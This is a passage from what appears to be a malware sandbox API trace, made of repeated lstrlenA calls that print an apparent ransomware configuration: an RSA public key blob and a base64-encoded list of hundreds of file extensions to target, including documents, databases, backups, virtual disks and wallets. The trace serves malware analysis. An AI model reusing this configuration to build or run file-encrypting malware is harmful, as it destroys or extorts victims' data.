YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA